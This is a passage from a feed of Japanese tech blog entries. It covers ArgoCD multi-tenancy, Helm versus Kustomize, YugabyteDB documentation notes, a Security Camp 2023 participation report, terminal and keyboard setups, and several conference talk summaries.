の方法で、ArgoCD系カスタムリソースに対するapplication-controllerのReconciliationを制限します。ArgoCD系カスタムリソースをReconciliationできる場合正しいNamespaceに対してReconciliationを実行する場合、AppProjectテナントはこれを制限しません。(1) application-controllerは、argocd-cmd-params-cmから自身がアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、application-controllerは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) application-controllerは、同じNamespaceに所属するArgoCD系カスタムリソースに対して、Reconciliationを実行します。(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合例えば、application-controllerがReconciliationの対象とするNamespaceを選ぼうとしているとします。すると、application-controllerは内部で検証メソッドを実行し、無認可のNamespace (bar) は選ばないようにします。argo-cd/controller/appcontroller_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub07. おわりにKubernetesのマルチテナントパターンとArgoCDでのパターン実践をもりもり布教しました。あらゆる面からマニフェストのデプロイを制限してくれる、AppProjectテナントの素晴らしさが伝わりましたでしょうか。KubernetesのマルチテナントパターンをArgoCDでどう実践するべきか、について困っている方の助けになれば幸いです\uD83D\uDC4D謝辞本記事のタイトルは、私が崇拝しているドメイン駆動設計の書籍 \\"実践ドメイン駆動設計\\" から拝借しました\uD83D\uDE4Fまた、ArgoCDでのパターン実践の収集にあたり、以下の方からの意見も参考にさせていただきました。@toversus26 さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍GitOps Cookbook: Kubernetes Automation in Practice (English Edition)作者:Vinto, Natale,Bueno, Alex SotoO\'Reilly MediaAmazonGitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux作者:Yuen, Billy,Matyushentsev, Alexander,Ekenstam, Todd,Suen, JesseManning PublicationsAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/08/18/110646","isoDate":"2023-08-18T02:06:46.000Z","dateMiliSeconds":1692324406000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"kubernetesのマニフェスト管理 比較検討(Helm/Kustomize)","contentSnippet":"はじめに実務において、kubernetesのマニフェスト作成(管理)の方法としてHelm or Kustomizeという選択肢がとられている。ここでは、クライアント組織への導入したときの話をしたいと思う。クライアント組織の要求事項と特性を整理した上で、どちら(または同時使用)が適切か判断するための調査を行うHelm : https://helm.sh/Kustomize : https://kustomize.io/ TL;DR個人的にはHelmの使用を推奨したいアプリケーション / インフラ / SREと多くのレイヤーの人が関わる組織統制を考慮したときに、...","link":"https://zenn.dev/yokoo_an209/articles/6d23ee506bc007","isoDate":"2023-08-17T13:15:01.000Z","dateMiliSeconds":1692278101000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"YugabyteDBのドキュメントを全部読む Day5","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-Master serviceを読みました。今回はArchitecture > Core functions > Universe creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Universe creationYugabyteDBのユニバース作成は複数のステップを含む。Start YB-MastersYBユニバース作成の最初のステップはレプリケーションファクターで指定された数だけYB-Masterを作成することである。作成されたYB-Masterはそれぞれを認識している。YB-Masterはユニバース内でユニークなID(UUID)をそれぞれに割り当て、それぞれを認識しあったあとにリーダーエレクションを実行する。このステップの終りにYB-Masterの中のひとつがリーダーとして確立される。Start YB-TServersノードの数だけYB-TServerを起動し、それぞれにマスターのアドレスを渡す。それぞれのYB-TServerはマスターにハートビートを送信し、正常に動作していることを確認する。ハートビートはYB-TServerが現在ホストしているタブレットとその負荷情報についても通信するが、この時点ではタブレットにデータは登録されていない。Examples4ノードからなるYBユニバースにテーブルを作成する場合について考える。テーブルのレプリケーションファクターは3とする。3つのマスターがcreateモードで起動される。これはマスターがすでに起動しているために発生するエラーを防ぐために明示的に実行される。リーダーエレクションを実行し、リーダーを選出する。YB-TServerが起動し、全てのYB-TServerがマスターにハートビートを送信する。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/5_core_functions_universe_creation","isoDate":"2023-08-16T13:49:19.000Z","dateMiliSeconds":1692193759000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"セキュリティ・キャンプ 2023 参加記","contentSnippet":"8月7日から8月11日まで開催されたセキュリティ・キャンプの Bクラス(Webセキュリティ)に参加してきたので、やってきたことや感想について、体験記として書き残そうと思う。セキュリティ・キャンプについては、以下のホームページを参照してほしい。今年が20回目の開催で、4年ぶりに対面で行われた。www.ipa.go.jp応募課題まず、セキュリティ・キャンプに参加するには、応募課題を解かなければならない。これに関しては、また別のブログとして、私の答案については出そうと思うが、今までのプログラミング言語やコンテナ技術の利用経験を問われたり、Webにおける脆弱性の検証と調査、Webの標準や実装の調査を行なって、それをレポートとしてまとめ、提出した.応募課題は、下記のURLにある。セキュリティ・キャンプ全国大会2023 応募要項(エントリー) | デジタル人材の育成 | IPA 独立行政法人 情報処理推進機構共通講義共通講義では、行動経済学やXR、国際政治とセキュリティといったものやサイバー犯罪についての講義があった。これらについてはあまり書かないが、日頃勉強している技術的なもの以外の部分について学ぶことができるいい機会であり、新鮮であった。サイバーセキュリティという分野は、法律・犯罪と密接に関連してくるにも関わらず、グレー部分の範囲がとても広くて、どこまでが許されて、どこからがダメなのかという判断が難しい。そのため、ワークショップの形で弁護士や検事の方の考えを知ることができたのはよかった。講義の中でも仰っていたが、私はあくまで技術者であり、法律家ではない。だからこそ、”わかった気にならない”という点は気をつけようと思った。専門講義専門講義では、各クラスによって講義が変わってくる。Bクラスでは、Webセキュリティをテーマにして、講義が構成されている。基本的には4時間の講義で、どれも座学と演習が 1:1 くらいの割合になっており、手を動かしたり、ツールの動きを確認しながらだったため、概念だけでなく、実装も学べたし、何よりも楽しかった。講師の方が一般に公開している資料については一緒に貼っている。1日目B-1 Webプロダクトセキュリティへの誘い最初の講義は、初日の18:30~20:30に行われた。この講義では、プロデューサーがどのような意図を持って講義を構成したか、何を学んでほしいのかというところを整理した。このクラスでは、\\"将来と今の両方を考えて、意思決定ができるリーダーになること\\" を目標としており、その時点でいろいろ考えさせられた.私の感覚では、すごいセキュリティエンジニアというのは、技術のことをたくさん知っていることだったからである.でも、実際に社会に出ると、技術とは違ったベクトルの強さというものが必要だとわかった.これに関しては、 この時点でも納得はしていたが、B-5やB-7の講義を受けた後により強く実感した.技術的な強さだけであれば、5日間ひたすらWebアプリケーションの脆弱性を勉強して、探せばいいが、そのような構成にはなっていない.\\"How と Why を考えながら受講すること\\"というのは念を押されたが、これに関しては、非常に大切なことであり、日頃から意識する必要があると感じた。また、B-2からB-7の講義に関して、自分がどこまでわかっていて、どのようなことを学べそうか、何を習得することを目標にするかというのを考えて、グループワークでお互いに共有した.1つ例を挙げると、B-2の講義に関して、サイバーキルチェーンやActive Directoryはわかるが CI/CDパイプライン を狙った攻撃とはなんなのか、加えて攻撃者はどういう視点とか考えで攻撃を計画するのかというのはわからないから学びたいというのがあった.2日目B-2 開発のプロセスを攻撃者の視点で捉えるこの講義は、2日目の8:30~12:30に行われた.この講義では、なぜ攻撃をするのかというところから始まり、レッドチーム演習の効果やサイバーキルチェーンと攻撃フローについて座学で学んだ.また、仮想環境で攻撃演習を行うことで、実際に攻撃フローを見ることができた.演習で自分で攻撃してみることで、攻撃者の視点というものをより実感することができた.最終的には、防御側ができることを考えたが、攻撃者の視点を持つことで、より深く考えることができた.レッドチーム演習の情報はWebで調べてもあまり出てこないため、その界隈の第一人者の方から、生の声を聞けたのはよかったし、貴重な経験になった.最近、Hack The Boxに取り組めていなかったが,講義を受講して、モチベーションが上がり、また再開した.この講義では、CI/CD環境のセキュリティについても学んだ.オンプレミスからクラウドへと環境の変化はあるが、\\"攻撃方法は変わったとしても、攻撃の流れは変わらない\\"というのが大事な点であった.例えば、攻撃モデルの一つにサイバーキルチェーンがあるが、この考え方はオンプレでもクラウドでも関係なく、有効である.今までCI/CDを狙った攻撃というのは全く想像もつかなかったが Github Actions などの CI/CD Configuration から Credential が漏洩したり、3rd party tool を汚染することで莫大な被害につながるといった CI/CD Pipeline への攻撃もなんとなく理解できた.B-3 クラウドネイティブセキュリティの実践と戦略この講義は、2日目の13:30~17:30に行われた.この講義では、そもそもクラウドネイティブとはなんなのかの説明を受けたのちに、Kubernetesが提供する耐障害性の機能やマイクロサービスのセキュリティについて学んだ.k8sを実際に動かして、アプリケーションのスケーリングの様子などを確認しながら進めることができたのはとてもよかった.また、コンテナから権限掌握→AWSアカウントの侵害という演習を通して、クラウドネイティブ環境を構築・運用するにあたって、どのようなことに気をつけなければならないかといったことを学んだ.k8sのセキュリティモニタリングに関して、eBPFの紹介も少しあった.事前課題や講義を通して、最低限 k8s が動かせるようになったり、提供している一部の仕組みについてはわかったりしたが、まだまだ知らない機能はたくさんあるし、現在進行形で新たな技術が生まれている分野である.たしかにクラウドネイティブ環境の構築・運用は難しいのかもしれないが、技術の面白さというのはとても感じたし、もっともっと学んでいきたいと思った.3日目B-4 Webサービスにおける安全な認証とID連携の実装この講義は、2日目の14:00~18:00に行われた.この講義では、最初に認証・認可の技術であるFIDO, WebAuthn, Passkey, OAuth, OpenID Connect についての用語とそれぞれの用語の関係に関して説明を受けた.各用語は知っているが、説明できるほどの理解はできていなかったため、整理して学ぶことができ、理解できた.また、認証・認可はWebアプリにおいて最もクリティカルな箇所であり,セキュリティも十分に配慮しなければならない.CSRFの発生メカニズムを押さえ、どうすれば防ぐことができOpenID Connectではどのような処理フローになっているのかを学ぶことで、安全な認証・認可を実現する仕組みについて理解できた.その後、パスキーのハンズオンとOpen ID Connectのハンズオンを行なった.ハンズオンでは、プログラムの穴あき部分を埋めることで、ちゃんと機能が実装できているか確認しながらステップアップ形式で進めた.ID連携やパスキーの実装となると、難しいイメージだったが、すでにあるライブラリを使うことで、簡単に実装することができた.一度学んだとしても、使わなければ忘れてしまうため、Webアプリケーションを開発するときに、今回学んだ技術を組み込むことで、さらなる理解と自分で使える技術にしたいと思う.B-5 適応し続けるプロダクトセキュリティ speakerdeck.com\xa0この講義は,3日目の19:00~20:40に行われた.この講義では,組織やプロダクトの変化に対して,セキュリティをどう確保するのか考える技術者というよりは,CISOといったセキュリティにおいてリーダーシップを発揮し,変化に対応する組織を作るにはどうすればいいのかといったことを学んだ.プロデューサーの\\"将来と今の両方を考えて,意思決定ができるリーダーになること\\"という思いが最も顕著に出ている講義であった.昨今の世の中は,プロダクトも組織もどんどん変化する時代であり,その変化に応じて,セキュリティのあり方も変わってくる.セキュリティの難しさはどこか一つでも弱い部分があってはいけないというところである.サービスを提供する場合,何か一つ強みがあれば,それで大ヒットするかもしれないが,セキュリティは全てが一定水準にならなければならない.プロダクト運営に求められるセキュリティは幅広いが,バランスよく,少しずつ積み重ねていくことが大事だとわかった.個人的には,セキュリティ人材が置かれる現実と求められることというところが面白く,より優れたセキュリティ人材,セキュリティ分野でリーダーシップを発揮して組織を変えるには,人間としての成長が不可欠だとわかった.\\"深化と探索のバランスとそれらの継続\\" が重要になってくると学んだ.将来は,セキュリティ関連の仕事をしたいとは思っていたが,CISOのようなリーダーシップを発揮して組織を変えていくということは考えたことがなかった.セキュリティ人材として成長するために,人間的な成長が必要になるというのは面白かった.4日目B-6 ソースコード解析によるWebアプリケーションの脆弱性調査この講義は,4日目の8:30~12:30に行われた.この講義では,ソースコードから脆弱性を探す方法について学んだ.最初に,静的解析で見つけやすい脆弱性の説明を受け,演習として,まずは,脆弱性を手動で探した.CVEが3つ取り上げられており,それらの脆弱性をNVDやそこに載っているGithubのPatchのプログラムやPoCを見て,調査した.プログラムベースで実際にどのような入力値であれば,脆弱性が悪用できるのかを探すのがこの調査のゴールであった.しかし,複雑なWebアプリケーションになると,大量の関数呼び出しによって,コードを追うのが大変になる.そこで,脆弱性調査の自動化のためのツールとして,CodeQLの説明があり,その後の演習で実際に使って,調査を行った.CodeQLを使うことで,特定の関数呼び出しや変数宣言,構文パターンを抽出することができ,脆弱性となりうるコードが含まれていないか簡単に調査できることがわかった.プログラムを書くことはあっても,解析して脆弱性を探し出すといったことはやったことがなかったため,新たな知見が得られたのはよかったし,楽しかった.自分で書いたコードに対して,脆弱性を探し,修正するといったことやバグバウンティに取り組むといったことも今後していきたいと思った.B-7 Policy as Code 入門docs.google.comこの講義は,4日目の13:30~17:30に行われた.この講義では,ポリシーをコードとして書くことで,k8sの設定ファイルやクラウドサービスのリソース状態の監視結果に対して制約を満たすかどうかチェックすることができるといったことを学んだ.この講義に関しても,B-5と同じで,一見セキュリティと関係ないため,今まで勉強してきたことがなかったが,クラウドサービスのリソースにポリシーを定義して不要なポートが開いてないかやクレデンシャルが書き込まれていないかなどのチェックはセキュリティ向上のためにも有効である.一部の先進的な組織しかPolicy as Codeを実践できていないという部分で,まだまだ新しい技術ではあるが,この講義を通して,こういうものがあるということを知れたのはよかった.演習では,3以降のよりリアルなポリシーになった途端に難しく,書くのに苦戦した.いつ使うことになるかわからないが,このようなものがあるというのを覚えておいて,いざという時に使えるようにしたいと思う.講義全体を通してB-1からB-7まで非常に幅広い分野の講義があり,それに加え,どの講義も4時間で終わり切らない程濃密なものであったため,まだ整理ができていない部分も多々ある.本当に知識をひたすら叩き込まれた感じであるため,また時間を取って整理して,理解したいと思う.4日間講義があり,ホームルームの時には思考停止するほどの疲れがあったが,講義内容の濃さと演習の楽しさでものすごい充実感はあった.あと,講義のレベルも高く,わからない箇所があったりもしたが,講師の方やチューターの方に質問するとなんでも教えてくださったため,問題なく演習を進めたり,疑問点を残すことなく学ぶことができた.対面での開催について今年は,4年ぶりの現地開催ということだったが,本当に楽しかった.5日間だけで,たくさんの人に出会ったし,たくさん話した.基本的にクラスで講義を受けるため,クラスの人とはずっと一緒にいることになり,仲良くなるが,だからこそ,食事のときや名刺交換会というのは違うクラスの子とも知り合ういい機会だった.ジュニアで参加している中学生とかから同世代の受講生やチューター,実際に社会で活躍している講師の方たちまで異なる立場や年齢の人たちと話すことができたのはよかった.X(Twitter)の中でよく見るすごい人たちと面と向かって話したり,議論できたりするのは楽しかったし,とても刺激を受けた.授業はもちろん素晴らしいのだが,同世代で自分よりもすごい人たちと出会い,それによってモチベーションが爆増するというのが個人的にはセキュリティ・キャンプに参加する一番のよさだと思う.学内という狭い世界で自分はそれなりにできると思っていても,全国から人が集まってくるセキュリティ・キャンプでは上には上がたくさんいるというのをすごい体感したし,もっと頑張ろうと思った.参加した感想今年22歳になるため,今年が最後のチャンスだったが,本当に参加することができて良かった.キャンプ参加が決まった後も,講義に対してワクワクしながらも,一方で講義についていけるのか,私みたいな人が行って大丈夫なのか,他の人たちはやっぱりつよつよなのかという不安はあったが,そんな不安は初日で解消した.たしかに,みんなすごい人たちだったが,コミュニケーションを取る上では,ITに興味があるというその一点だけで仲良くなることができたし,講義でわからないことがあったとしても,他の受講生やチューター,講師の方に聞いたらちゃんと教えてくださった.セキュリティに興味があるのなら,少しでも早いうちから応募課題に挑戦するべきだと思うし,そこで得られるものはたくさんある.たとえ,課題で落ちてしまったとしても,課題を解くことに意味があり,それだけでも知らないことをたくさん学ぶことができる.セキュリティ・キャンプ 2023 に参加したからこそ,心の底から参加することを勧めたい.来年は,チューターかネクストキャンプ受講生としてまた戻って来たいと思う.まとめ・どの講義も濃密で、わからない部分もあったが、チューターや講師の方のサポートもあり、なんとかついていくことができた.・やっぱり対面での開催はいい.・全国のすごい人たちを間近に見ることができ、刺激がもらえる.・セキュリティに興味がある人はもちろん、ITに興味がある人全員にセキュリティ・キャンプを進めたい.","link":"https://moz-security.hatenablog.com/entry/2023/08/15/015853","isoDate":"2023-08-14T16:58:53.000Z","dateMiliSeconds":1692032333000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"WezTerm で快適な WSL2 環境にする","contentSnippet":"家の自分用 Laptop はずっと Linux を使ってきましたが、数か月前に Inspiron 14 に買い替えたタイミングで Ubuntu 22.04 にしてからやっぱり不便だなあとも思っていました。(Inp","link":"https://blog.1q77.com/2023/08/wezterm-on-windows/","isoDate":"2023-08-12T11:07:01.000Z","dateMiliSeconds":1691838421000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Keyball61のオレオレマッピングを語る","contentSnippet":"たぶんKeyball61ユーザーの中でも珍しい配列をしているだろうと思うので、その背景も含めてまとめておく。右手トラックボールです。親指によるHold & Tap親指はCtrl, Shift, Alt, WinやLayer操作などの修飾キーの操作を担います。","link":"https://blog.atusy.net/2023/08/12/keyball61/","isoDate":"2023-08-12T00:00:00.000Z","dateMiliSeconds":1691798400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"HarnessでGKEクラスタにCDパイプラインを構築","contentSnippet":"はじめに実務においてHarnessを使用する機会があったので、お試しがてらGKEクラスタ上にCDパイプラインの構築を行います。(※なお、今回はHarnessの使用に焦点を当てているため、CIの実装については考慮しておりません)【対象】Harnessに初めて触れる方 Harnessとは?一言でいうと、CI/CDツールhttps://harness.dxable.com/多様なクラウドプロバイダーと連携可能な点が個人的には最大の魅力だと思っています! 使用環境今回、実践する環境は以下です。Artifact RegistoryGithub C...","link":"https://zenn.dev/yokoo_an209/articles/a5c818221bed68","isoDate":"2023-08-10T09:06:25.000Z","dateMiliSeconds":1691658385000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"HarnessでGKEクラスタにCDパイプラインを構築する","contentSnippet":"はじめに実務においてHarnessを使用する機会があったので、お試しがてらGKEクラスタ上にCDパイプラインの構築を行います。(※なお、今回はHarnessの使用に焦点を当てているため、CIの実…","link":"https://qiita.com/yokoo-an209/items/57e2e4c00394c9da85f7","isoDate":"2023-08-10T05:22:38.000Z","dateMiliSeconds":1691644958000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"SREからPlatform Engineerへの拡大","contentSnippet":"SREからPlatform Engineerへの拡大 というタイトルで登壇してきました\\r\\rCloud Operator Days Tokyo 2023 運用の新時代 〜Effortless Operation〜\\rhttps://cloudopsdays.com/\\r\\rクラウドインフラ運用技術者のための年次イベント「Cloud Operator Days Tokyo 2023」の見所を紹介\\rhttps://cloud.watch.impress.co.jp/docs/news/1518302.html\\r\\rSREからPlatform Engineerへの拡大 というタイトルで登壇しました - じゃあ、おうちで学べる https://syu-m-5151.hatenablog.com/entry/2023/08/10/150412 \\r\\r登壇しかないので20分しかないのでギュッとしてしまいました。","link":"https://speakerdeck.com/nwiizo/srekaraplatform-engineerhenokuo-da","isoDate":"2023-08-09T04:00:00.000Z","dateMiliSeconds":1691553600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"YugabyteDBのドキュメントを全部読む Day4","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-TServer serviceを読みました。今回はArchitecture > Key Concepts > YB-Master serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。YB-Master serviceYB-Masterサービスはテーブルやそのタブレットの場所、ユーザー・ロールの権限といったシステムのメタデータとレコードの管理を行っている。それに加えYB-Masterはロードバランシングやレプリケーションの開始といったバックグラウンドオペレーションの管理や、テーブルのCREATEやALTER、DROPといった様々な管理オペレーションの責任を持つ。YB-MasterはRaft Groupを組むことで高可用性を実現し、またテーブルに対するI/Oの単一障害点にならない。Functions of YB-MasterYB-Masterはシステムの重要な機能を複数持っている。Coordination of universe-wide administrative operationsCREATE TABLEやALTER TABLE、DROP TABLEといったユーザーからのリクエスト処理やバックアップの実行などUniverseをまたぐオペレーション実行の調整を担当している。YB-Masterではこれらのオペレーションがテーブルを保持するYB-TServerの状態に関わらず、全てのテーブルに伝搬されることを保証する。YugabyteDBは分散システムのため、Universeをまたぐ処理中にYB-TServerに障害が発生し一部のタブレットへの適用に失敗してもオペレーションの結果に問題が発生しないことが重要だからである。Storage of system metadataそれぞれのYB-Masterではネームスペースやテーブル、ロール、パーミッション、YB-TServerへ割り当てたテーブル情報を含むシステムメタデータを保存している。これらのシステムレコードはYB-Masterを対象にRaftグループを組みレプリケーションすることで冗長性を実現している。またシステムレコードはYB-Masterが管理するDocDBに保存される。Authoritative source of tablet assignments to YB-TServersYB-Masterは全てのテーブルとそれらをホストするYB-TServerの情報を保存している。一般のクライアントではそれらの情報はクライアントからクエリレイヤなどを通して取得された上で、クライアントにメタデータを返しデータアクセスが行なわれる。一方でスマートクライアントではYB-Masterに保存されたメタデータを利用して特定のYB-TServerが保持するタブレットやキャッシュを利用することが出来るため、データアクセス時のネットワークをまたぐ通信を減らすことができパフォーマンスを高めることができる。Background operationsいくつかのオペレーションはUniverseのライフタイムを通してバックグラウンドで行なうことで、フォアグラウンドのRead/Writeに影響を与えずに実行することが出来る。Data placement and load balancingYB-MasterのリーダーはCREATE TABLE時にタブレットの初期配置をYB-TServerをまたいで行なう。そのときにユーザー定義のデータ配置制約を強制し均一な読み込みを保証する。Universeのライフタイム中のノード追加や障害が発生しても、負荷分散を継続しデータ配置の制約を自動的に適用する。Leader balancing複数のYB-TServerに配置されたタブレットへのアクセスがUniverseをまたいで分散されることを保証している一方で、YB-Masterは対象となるノード1間でそれぞれのノードが同じ数のtablet-peer leader2をもつことを保証する。Rereplication of data on extended YB-TServer failureYB-Masterは全てのYB-TServerからハードビートシグナルを受け取ることでYB-TServerの死活監視を行なっている。そしてYB-MasterはYB-TServerの異常を検知したときに、どれぐらいのあいだYB-TServerが異常であったかを追跡する。閾値を超えると、YB-Masterは障害中のYB-TServerに配置されていたタブレットを再配置するYB-TServerを探し、レプリケーションを実行する。レプリケーションはYB-Masterリーダーに抑制された状態で実行されるため、Universeのフォアグラウンドオペレーションには影響をおよぼさない。Raft Groupのリーダーになれるノード↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/4_key_concepts_yb_master_service","isoDate":"2023-08-03T14:48:34.000Z","dateMiliSeconds":1691074114000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について","contentSnippet":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析についてというタイトルで登壇しました\\r\\r2023年8月3日 CloudNative Days Fukuoka 2023\\rhttps://event.cloudnativedays.jp/cndf2023\\r\\rk8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について\\rhttps://event.cloudnativedays.jp/cndf2023/talks/1885\\r\\rK8sGPT Deep Dive というタイトルで登壇しました #CNDF - じゃあ、おうちで学べる \\rhttps://syu-m-5151.hatenablog.com/entry/2023/08/03/155326","link":"https://speakerdeck.com/nwiizo/k8sgpt-deep-dive-kuberneteskurasutanoaiqu-dong-xing-fen-xi-nituite","isoDate":"2023-08-03T04:00:00.000Z","dateMiliSeconds":1691035200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"YugabyteDBのドキュメントを全部読む Day3","contentSnippet":"YugabyteDBのドキュメントを全部読む Day3前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > Universeを読みました。今回はArchitecture > Key Concepts > YB-TServer serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。それはそれとして技術系の単語をカタカナ表記で誤魔化していて、体系的に学んでいないことがバレてしまう。特にストレージまわりが分からない……YB-TServer serviceYB-TServer(YugabyteDB Tablet Servcer)はユーザからの受けつけたYugabyteDBクラスタへのリクエストのI/Oの処理をする。テーブルのデータは一つ以上のTablet peerに分割(シャーディング)される。peerの数はレプリケーションファクターによって決定される。YB-TServerは一つ以上のTablet peerをホストする。Tablet peerはRaftグループを形成してグループ間でデータの複製を行ない、タブレットはYB-TServer上で最大の効率になるように管理される。Server-global block cacheブロックキャッシュは一つTB-TServer上の異なるタブレット間で共有される。YB-TServerのメモリ効率は一つのテーブルからの読み込みが多いほど最適化される。Space AmplificationYugabyteDBではSize-tired Compactionというライトアンプリフィケーション1が小さい圧縮方式を利用している。Size-tired Compactionはスペースアンプリフィケーション2が大きいという問題があるが、YugabyteDBではテーブルは複数のタブレットに分割され、タブレット間でのConcurrent Compactionは特定の最大値まで絞られるため問題になりにくい。YugabyteDBでは凡そ10-20%のスペースアンプリフィケーションにおさまる。つまりSize-tired Compaction一単位が扱うデータ量を小さく(タブレット化)して、同時に実行される圧縮処理数を絞ることで特定のタイミングで圧縮に使用されるストレージ容量を抑えているということ?Throttled compactionsYB-TServerではタブレット間で実行される圧縮処理の同時実行数を制限することで、圧縮処理が多量のリソースを占有することを防いでいる。この機能は圧縮されるファイル同士のサイズを比べ、実行される圧縮処理が妥当であることを確認することで実現されている。Small and large compaction queuesYB-TServerでは圧縮処理を大きい圧縮処理と小さい圧縮処理に分けて優先度を決めることで、I/Oが大きな場合でもシステムの機能を保っている。YugabyteDBでは圧縮処理数を制限することに加え、様々な最適化を実行することで圧縮処理の影響を最小化している。Manual compactionYugabyteDBではyb-admin utilityのcompact_tableコマンドにより、任意のタイミングでテーブルに対して圧縮を実行することが出来る。この方法はデータが新しく書き込まれない場合や、DDLやTTLの超過によるデータ削除時によりデータが断片化したときに有効である。Statistics-based full compactions to improve read performanceYugabyteDBでは読み込まれたkey-valueペアをDocDBレベルで監視している。監視対象となる時間軸はauto-compact-stat-window-secondsで管理されている。YugabyteDBがデータ読み込み時に多量の廃棄されたデータのスキップを検知した場合、full compactionがトリガーされ不要なキーの削除が行なわれる。Full compactionがトリガーされる詳細な条件は対象の時間軸で以下が満された時である。廃棄されたキーとアクティブなキーが読まれる割り合いがauto-compact-percent-obsoleteで定義された閾値を超たとき。廃棄されたキーの読み込みauto-compact-min-obsolete-keys-foundで定義された閾値を超たとき。この機能はTTLを設定したテーブルと互換性があり、TTL file expirationが有効なテーブルではスケジュールされた圧縮を実行しない。Scheduled full compactionsYugabyteDBでは全てのデータに対するデータ圧縮をスケジュール実行することが出来る。スケジュール実行はscheduled-full-compaction-frequency-hoursとscheduled-full-compaction-jitter-factor-percentageのフラグで管理される。この機能は大量のDELETEとUPDATEを定常的に実行するワークロードでのパフォーマンスとディスクスペースの再割り当てに有効である。スケジュール化したデータ圧縮はTTLと互換しているが、TTL file expirationとは互換していない。つまりスケジュールされた圧縮は実行されない。Server-global memstore limitServer-global memstore limitは一つのYB-TServer上のタブレット間でシェアされるメモリサイズを追跡し、強制する。この機能はタブレット間の書き込みに偏りがある場合に有効である。一つのテーブルに書き込みが集中しているばあい、メモリ制限以上のメモリを割り当てることでパフォーマンスを向上させることが出来る。Auto-sizing of block cache and memstoreBlock Cacheとmemstoreは何れも多量のメモリを使用している。これらはtablet-peer間で共有されるリソースのため、メモリ管理とこれらのコンポーネントの様々な環境に合せたサイジングを容易にしている。YB-TServerでは自動で特定の割合のメモリをBlock CacheとMemstoreに割り当てる。Distributing tablet load uniformly across data disks複数のSSDを利用するハードウェアでは、テーブルのデータ(SSTable)とWALはテーブル毎に利用可能なディスクに均等に分散される。このストライピングと呼ばれる負荷分散は、それぞれのディスクがそれぞれのテーブルの負荷を均等に処理することを保証する。SSDで実際に書き込んだデータより書き込み量が増幅する現象。もちろんライトアンプリフィケーションが小さいほうが望ましい。↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/3_key_concepts_yb_tserver_service","isoDate":"2023-08-02T16:13:24.000Z","dateMiliSeconds":1690992804000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Hello, Quarto","contentSnippet":"本ブログはずっとblogdownを使って書いてきましたが、心機一転quartoで書いてみることにします。といってもblogdownユーザーであれば移行に特に苦労はなさそうです。blogdownはHugoを使ってページを構築するので、quartoとhugoの組み合わせ方を調べ、合わせればOK。","link":"https://blog.atusy.net/2023/08/01/hello-quarto/","isoDate":"2023-08-01T00:00:00.000Z","dateMiliSeconds":1690848000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本語の「っ」から始まる送り仮名とSKK+AZIKによる日本語入力に関する考察","contentSnippet":"始めにSKKという日本語入力システムがある。元々はEmacsというエディタ向けに開発されたものだが、現在では各種OSのIMEや他のエディタの日本語入力システムとしても活用されている。","link":"https://blog.atusy.net/2023/08/01/skk-azik-and-sokuon-okuri/","isoDate":"2023-08-01T00:00:00.000Z","dateMiliSeconds":1690848000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NFT技術概論","contentSnippet":"https://event.ospn.jp/osc2023-online-kyoto/session/1049448\\rOSC Onlineにて、ブロックチェーン上で表現されるNFT(Non Fungible Token:代替不能トークン)の技術概要についてお話ししました。\\r\\rブロックチェーン、イーサリアム・スマートコントラクトに触れた後、イーサリアム上でNFTを表現するためのERC721規格や、NFTでは画像データを保存するのに使われる分散ストレージのIPFS(InterPlanetary File System)について解説しています。","link":"https://speakerdeck.com/shukob/nftji-shu-gai-lun","isoDate":"2023-07-29T04:00:00.000Z","dateMiliSeconds":1690603200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"YugabyteDBのドキュメントを全部読む Day2","contentSnippet":"YugabyteDBのドキュメントを全部読む Day2前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Design goalsを読みました。今回はArchitecture > Key Concepts > 